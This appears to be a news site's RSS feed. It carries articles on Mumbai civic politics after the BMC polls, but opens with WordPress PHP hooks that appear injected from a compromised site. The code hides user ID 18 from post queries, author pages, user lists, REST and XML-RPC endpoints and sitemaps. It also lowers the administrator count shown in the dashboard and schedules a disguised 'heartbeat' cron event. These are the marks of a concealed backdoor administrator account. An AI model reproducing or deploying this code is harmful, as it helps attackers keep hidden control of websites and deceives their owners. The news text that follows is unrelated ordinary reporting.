add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sanjay Raut Questions Corporators Shift Amid Uncertainty Over Mumbai Mayor Post appeared first on The Edge Media.
]]>In the latest BMC polls, the BJP and the Eknath Shinde led Shiv Sena together secured a majority in the 227 member civic body, with the BJP winning 89 seats and the Shiv Sena 29. The Uddhav Thackeray led Shiv Sena UBT emerged as the second largest party with 65 seats, while its ally the Maharashtra Navnirman Sena won six seats.
The Shiv Sena has moved its 29 corporators to a hotel in Mumbai, officially describing the move as part of an orientation programme to familiarise them with the functioning of the country’s richest civic body. The decision came soon after the poll results, as the Shiv Sena’s seats became crucial for the BJP to work out its strategy to install a Mahayuti mayor.
Raut said it was ironic that corporators were being shifted despite the alliance being in power. He remarked that Shiv Sena corporators had already been moved to a five star hotel and that, according to him, the BJP was also planning a similar step. He said it was unclear who was afraid of whom, adding that the chief minister was watching these developments while attending the World Economic Forum in Davos.
Referring to Prime Minister Narendra Modi’s comment that the BJP had defeated the Congress in the city where the party was born, Raut said the remark ignored political history. He pointed out that the undivided Shiv Sena had controlled the BMC for nearly 25 years, while the Congress had remained largely marginal in Mumbai’s civic politics. He also recalled that the Congress was founded in Mumbai and that the Quit India movement was launched from the city, at a time when the BJP did not exist.
When asked whether Shiv Sena UBT had decided to sit in the Opposition in the BMC, Raut said no such decision had been taken and that the party was closely watching political developments unfold. He added sarcastically that they were enjoying the situation.
Taking a swipe at Maharashtra Chief Minister Devendra Fadnavis, Raut said the grand welcome accorded to him in Switzerland after the civic poll results made it appear as though he was on the path to becoming prime minister. He added, however, that he would feel proud if a Marathi leader were to hold the top post one day.
Raut dismissed reports of any talks between Fadnavis and Shiv Sena UBT chief Uddhav Thackeray. He also alleged that Deputy Chief Minister Eknath Shinde was attempting to engineer a split among BJP corporators in the Kalyan Dombivli Municipal Corporation and could attempt a similar move in Mumbai, recalling that Shinde had earlier split the Shiv Sena with the support of Union Home Minister Amit Shah.
The post Sanjay Raut Questions Corporators Shift Amid Uncertainty Over Mumbai Mayor Post appeared first on The Edge Media.
]]>The post Uddhav Thackeray Questions BJP’s Hindutva, Targets Party at Nashik Rally appeared first on The Edge Media.
]]>Addressing a joint public rally in Nashik alongside his cousin and Maharashtra Navnirman Sena chief Raj Thackeray, Uddhav Thackeray launched a direct attack on the ruling party as campaigning intensified for the January 15 civic elections. He asked whether the BJP’s version of Hindutva was genuine or merely projected during election seasons to mobilise voters.
The Shiv Sena UBT leader also criticised the Nashik Municipal Corporation’s proposal to cut trees for the construction of a sadhugram ahead of the Kumbh Mela scheduled for next year. He questioned the rationale behind sacrificing green cover in the name of development and religious events, suggesting that environmental concerns were being ignored.
Uddhav Thackeray further said he felt sympathy for long time BJP workers who were being sidelined as the party inducted leaders with controversial backgrounds. According to him, loyal party members were being overlooked while preference was being given to what he described as tainted entrants, reflecting a shift in the BJP’s internal priorities.
The post Uddhav Thackeray Questions BJP’s Hindutva, Targets Party at Nashik Rally appeared first on The Edge Media.
]]>